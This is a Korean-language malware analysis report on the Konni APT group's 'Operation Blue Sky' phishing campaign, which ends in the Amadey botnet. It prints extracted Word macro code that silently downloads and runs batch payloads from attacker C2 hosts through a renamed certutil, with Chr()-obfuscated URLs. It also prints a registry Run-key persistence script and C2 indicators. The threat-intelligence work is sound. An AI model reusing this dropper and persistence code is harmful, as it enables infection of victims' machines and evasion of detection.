포스팅 내용

악성코드 분석 리포트

한국어 구사 Konni 조직, 블루 스카이 작전 'Amadey' 러시아 봇넷 활용



안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC) 입니다.


지난 01월 02일 【암호화폐 내용의 Konni APT 캠페인과 '오퍼레이션 헌터 아도니스' 보고서를 공개한 바 있는데, 최근 이들의 사이버 위협 활동이 또 다시 감지되고 있습니다.



 File Name 

 요청주신 정책 관련 자료.doc (BlueSky)

 MD5

 0eb6090397c74327cd4d47819f724953

 C2 filer1.1apps[.]com


 File Name 

 젠트리온 지갑 관련자료.doc (BlueSky)

 MD5

 2bfbf8ce47585aa86b1ab90ff109fd57

 C2

 filer2.1apps[.]com



한국어를 구사하는 대표적인 APT 위협 그룹 중에 하나인 'Konni' 조직은 아직도 베일에 쌓여있습니다.


최근 변종이 연속적으로 발견되고 있는데, 헌터 아도니스에서 공개된 바 있는 'BlueSky' 계정이 동일하게 사용되고 있는 점이 주목됩니다.


ESRC는 하나의 계정에서 지속적인 APT 공격 정황이 포착됨에 따라 이번 사이버 작전을 '오퍼레이션 블루 스카이(Operation Blue Sky)'로 명명했습니다.


이번 위협은 악성 워드(DOC) 문서로 부터 시작되며, 이들은 주로 스피어 피싱을 통한 공격벡터를 활용합니다. 



■ 04월 달에 돌아온 Konni



2019년 04월 29일에 제작된 악성 문서 파일은 실행 시 다음과 같이 보안 경고 메시지와 함께 매크로 실행을 유도하게 만듭니다.



[그림 1] 매크로 실행을 유도하기 위한 안내 메시지 화면



여기서 흥미로운 점은 본문 화면이 'TA505조직, 또다시 엑셀 문서로 위장한 악성 이메일 유포해' 분석 자료에서도 유사하게 사용된 바 있습니다.


두 위협조직이 직간접적으로 연관된 것인지, 인터넷에 공개된 자료가 사용되어 우연하게 오버랩된 것인지 아직 확실하지 않습니다.


만약, 사용자가 [콘텐츠 사용]버튼을 클릭할 경우 내부 VBA 명령어에 따라 C2 서버로 접속해 추가 파일을 다운로드합니다.



AppWord.Quit False

End Sub

Sub Document_Open()

Dim URL As String

Dim Location As String

Dim FSO As Object

Set FSO = CreateObject("Scripting.FileSystemObject")

Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")

URL = "http://mail.naver-download.com/file/pay/typeword13[.]doc"

objWinHttp.Open "GET", URL, False

objWinHttp.send ""



공격자는 마치 한국의 유명 포털 사이트 도메인처럼 사칭한 C2 서버에서 또 다른 문서 파일을 다운로드해 실행하는 명령을 수행합니다.


ESRC는 해당 서버를 조사하는 과정에서 디렉토리 리스팅 설정 문제로 내부에 등록된 다른 파일을 확인할 수 있었습니다.



[그림 2] C2 서버에 등록된 다른 파일 목록



여기에는 총 12개 항목의 DOC 문서가 포함되어 있으며, 대부분 공격에 사용하기 위한 목적으로 제작되었습니다.


각각의 화면은 대부분 암호화폐 관련 내용이나 금융관련 문구를 포함하고 있으며, 동일하게 'BlueSky' 계정에서 제작되었습니다.



[그림 3] DOC 문서 실행된 화면 모음



해당 파일들은 동일한 목적으로 제작되었기 때문에 대표 파일 하나만 기준으로 설명하면 다음과 같습니다.


우선 매크로 기능을 통해 2차 C2 서버 'alabamaok0515.1apps[.]com' 주소로 통신을 시도합니다.



    End If

sCL = sCL & Chr(&H65)

sCL = sCL & Chr(&H78)

sCL = sCL & Chr(&H65)

sCL = sCL & Chr(&H20)

sCL = sCL & Chr(&H2F)

sCL = sCL & Chr(&H71)

sCL = sCL & Chr(&H20)

sCL = sCL & Chr(&H2F)

sCL = sCL & Chr(&H63)

sCL = sCL & Chr(&H20)

Dim smo As String


smo = "copy /Y %windir%\System32\certutil.exe %TEMP%\ct.exe && cd /d %TEMP% && ct -urlcache -split -f http://alabamaok0515.1apps.com/1[.]txt && cd /d %TEMP% && ren 1.txt 1.bat && del /f /q 1.txt && 1.bat"

sCL = sCL + smo

nResult = Shell(sCL, vbHide)

ActiveDocument.Save

End Sub



'1.txt' 파일은 다음과 같이 '3.txt' 파일을 로드하게 됩니다.



[그림 4] '1.txt' 배치파일 명령 화면



'1.txt' 배치 파일은 '3.txt' BASE64 코드를 디코딩해 'setup.cab' 파일로 생성하고 다시 압축을 해제한 후 'install.bat' 파일을 실행하는 과정을 거칩니다.



'3.txt' 파일은 다음과 같이 BASE64 코드를 가지고 있습니다.



[그림 5] '3.txt' 파일 코드 화면



마지막으로 변환되는 'setup.cab' 압축 파일 내부에는 'install.bat', 'picture.exe' 파일이 포함되어 있으며, '81.90.188.76' C2 서버의 명령을 대기하게 됩니다.


'picture.exe' 파일 내부에는 다음과 같은 PDB 정보가 포함되어 있습니다.



- c:\users\admin\documents\xicon\vs2005\release\XIconTest.pdb



■ 05월 달에 돌아온 Konni



ESRC는 05월 13일 제작된 유사한 변종을 추가로 확인할 수 있었고, 04월과 마찬가지로 'BlueSky' 계정과 공격 벡터는 거의 같은 흐름을 가지고 있으며, 악성 DOC는 코드페이지 949인 한국어 기반으로 제작되었습니다.


다만, 이번 공격에서는 매크로 코드 내부의 C2 URL주소를 단순한 방식으로 난독화해 숨겨두었고, 이 기법은 이전 아도니스 작전이랑 거의 유사합니다.



AppWord.Quit False

End Sub

Sub Document_Open()

Dim URL As String

Dim Location As String

Dim FSO As Object

Set FSO = CreateObject("Scripting.FileSystemObject")

Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")

Dim sURL As String

sURL = Chr(&H68) & Chr(&H74) & Chr(&H74) & Chr(&H70) & Chr(&H3A) & Chr(&H2F) & Chr(&H2F) & Chr(&H66) & Chr(&H69) & Chr(&H67) & Chr(&H68) & Chr(&H69) & Chr(&H74) & Chr(&H69) & Chr(&H6E) & Chr(&H67) & Chr(&H31) & Chr(&H30) & Chr(&H31) & Chr(&H33) & Chr(&H2E) & Chr(&H6F) & Chr(&H72) & Chr(&H67) & Chr(&H2F) & Chr(&H32) & Chr(&H2F)

URL = sURL + "modif8.doc"

objWinHttp.Open "GET", URL, False

objWinHttp.send ""



sURL 문자로 선언된 16진수 코드를 변환하면 다음과 같은 사이트로 접속을 하여 'modif8.doc' 파일을 다운로드해 실행하게 됩니다.



- http://fighiting1013[.]org/2/



2번째 스테이지로 작동하는 DOC 파일 역시 한국어 기반으로 제작되었으며, 문서 작성자 역시 'BlueSky' 계정으로 동일합니다.


이 악성 파일이 실행되면 다음과 같이 암호화폐 관련 내용으로 이용자를 현혹하게 됩니다.



[그림 6] 악성 문서가 실행될 경우 보여지는 화면



매크로 코드를 살펴보면 다음과 같이 선언되어 있고, 16진수 코드를 ASCII 코드로 변환하면 새로운 C2 주소가 확인됩니다.



    End If

sfirst = sfirst & Chr(&H65)

sfirst = sfirst & Chr(&H78)

sfirst = sfirst & Chr(&H65)

sfirst = sfirst & Chr(&H20)

sfirst = sfirst & Chr(&H2F)

sfirst = sfirst & Chr(&H71)

sfirst = sfirst & Chr(&H20)

sfirst = sfirst & Chr(&H2F)

sfirst = sfirst & Chr(&H63)

sfirst = sfirst & Chr(&H20)

Dim smo As String

Dim smid As String


smid = Chr(&H68) & Chr(&H74) & Chr(&H74) & Chr(&H70) & Chr(&H3A) & Chr(&H2F) & Chr(&H2F) & Chr(&H74) & Chr(&H67) & Chr(&H62) & Chr(&H61) & Chr(&H62) & Chr(&H63) & Chr(&H72) & Chr(&H66) & Chr(&H76) & Chr(&H2E) & Chr(&H31) & Chr(&H61) & Chr(&H70) & Chr(&H70) & Chr(&H73) & Chr(&H2E) & Chr(&H63) & Chr(&H6F) & Chr(&H6D) & Chr(&H2F)

smo = "copy /Y %windir%\System32\certutil.exe %TEMP%\ct.exe && cd /d %TEMP% && ct -urlcache -split -f " + smid + "1.txt && cd /d %TEMP% && ren 1.txt 1.bat && del /f /q 1.txt && 1.bat"

sfirst = sfirst + smo

nfinal = Shell(sfirst, vbHide)

ActiveDocument.Save

End Sub



C2 주소는 기존 Konni 조직이 사용하는 '1apps[.]com' 호스팅 서비스가 이번에도 그대로 사용됩니다.



- http://tgbabcrfv.1apps[.]com/



도메인은 랜덤한 영문 알파벳이 사용되었으며, 매크로 함수에 의해 '1.txt' 파일을 다운로드해 배치파일 형태로 실행하며, 'certutil.exe' 정상 파일을 'ct.exe' 파일로 복사해 사용합니다.


이러한 방식은 EDR 같은 제품들이 악성 여부를 판단하는데 회피하는 요소로 활용될 수 있습니다.


'1.txt' 파일은 다음과 같은 명령어가 조합되어 있고, 기존이랑 큰 차이가 없습니다.



[그림 7] '1.txt' 파일 화면



배치파일 명령이 작동할 경우 '3.txt' 파일의 코드를 가져오는데 이전과 마찬가지로 BASE64 코드로 인코딩된 데이터를 가지고 있으며, 'ct.exe'(=certutil.exe) 파일을 통해 압축을 해제하는 과정을 거칩니다.



[그림 8] '3.txt' 코드 화면



BASE64 코드 블럭이 디코딩되면 기존과 동일하게 'setup.cab' 파일로 변환되고, 압축 내부에 존재하는 'install.bat' 파일이 실행됩니다.


압축내부에는 'install.bat' 파일과 함께 'victory.exe' 파일이 포함되어 있고, 아래와 같은 배치파일 명령에 의해 실행됩니다.



@echo off


copy /y %~dp0\victory.exe C:\Users\Public\Documents > nul


reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchost /t REG_SZ /d "C:\Users\Public\Documents\victory.exe" /f > nul

C:\Users\Public\Documents\victory.exe > nul


%~dp0\remove.bat > nul



'victory.exe' 악성 파일이 실행되면 C2 서버로 접속해 또 다른 악성코드를 다운로드하여 실행을 시도합니다.



- http://fighiting1013.org/2/sp[.]exe



그리고 다음과 같이 러시아 봇넷으로 알려져 있는 AMADEY 패널로 접속을 시도합니다.



- http://charley-online.com/back/2019/index[.]php



AMADEY 봇넷 코드는 이미 깃허브 등에 공개되어 있어 여러 사이버 위협에 지속적으로 악용되고 있는 실정입니다.



[그림 9] AMADEY 서버 메인 화면



AMADEY 서버의 'index.php' 파일에는 'config.php' 코드에 설정된 아이디와 암호를 통해 접근하게 됩니다.



<?

    include( "cfg/config.php" );


    session_start();


    error_reporting( 0 );

    

    if ( isset( $_POST["login"]) && isset( $_POST["password"] ) )

    {

       $login = $_POST["login"];

       $password = $_POST["password"];


       if ( ( $login == $conf["login"] ) && ( md5( $password ) == $conf["password"] ) )

       {

          $_SESSION["Name"] = "ROOT";


          @header( "Refresh: 0; url = statistic.php" );

       }


       if ( ( $login == $conf["observer_login"] ) && ( md5( $password ) == $conf["observer_password"] ) )

       {

          $_SESSION["Name"] = "OBSERVER";


          @header( "Refresh: 0; url = statistic.php" );

       }


    }


    if ( $_GET['logout'] == 1 ) 

    {

       @session_destroy();

       header( "Location: login.php" );

       exit;

    }



봇넷과 세션이 연결되면, 공격자가 설정한 악의적인 명령이 수행되며, 감염된 컴퓨터의 정보가 유출될 수 있습니다.



[그림 10] AMADEY 컨트롤 센터(CC) 화면



Konni 조직은 오퍼레이션 블루스카이를 통해 AMADEY 봇넷을 활용하고 있다는 점에 주목되며, ESRC는 이들 조직이 사용한 공격 도구와 전술에 대한 지속적인 연구를 수행하고 있습니다.


'Konni' 캠페인과 관련한 보다 상세한 침해지표 (IoC) 내용은 '쓰렛 인사이드(Threat Inside)'의 위협 인텔리전스 리포트를 통해 자세한 내용이 공개되어 있으며, 지속적으로 정보를 제공할 예정입니다.




티스토리 방명록 작성
name password homepage